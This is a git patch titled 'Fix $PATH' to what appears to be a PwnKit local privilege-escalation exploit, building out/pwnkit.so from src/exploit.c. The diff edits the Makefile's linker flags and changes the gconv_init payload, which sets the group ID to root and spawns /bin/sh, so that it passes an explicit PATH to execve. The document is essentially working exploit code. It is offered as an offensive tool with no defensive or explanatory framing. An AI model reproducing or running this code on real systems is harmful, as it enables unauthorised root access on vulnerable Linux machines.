From aca7e1343514268e8315521699fb626186f440fa Mon Sep 17 00:00:00 2001 From: Ruthenic Date: Wed, 26 Jan 2022 17:28:58 -0500 Subject: [PATCH] Fix $PATH --- Makefile | 2 +- src/exploit.c | 6 +++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index 22404a1..7014eff 100644 --- a/Makefile +++ b/Makefile @@ -6,7 +6,7 @@ CC_FLAGS ?= .PHONY: all debug all: - gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-soname,libservice.so -Wl,-e,main -fPIC + gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-e,main -fPIC debug: CC_FLAGS:=-g -O0 -v ${CC_FLAGS} debug: all diff --git a/src/exploit.c b/src/exploit.c index e8266f1..fcfffe5 100644 --- a/src/exploit.c +++ b/src/exploit.c @@ -23,7 +23,11 @@ void gconv_init() { setgid(0); setegid(0); char *shellArgv[] = {"sh", NULL}; - execv("/bin/sh", shellArgv); + char *env[] = { + "PATH=/bin:/usr/bin:/sbin:/usr/sbin", + NULL + }; + execve("/bin/sh", shellArgv, env); } void setup(char *argv[]) {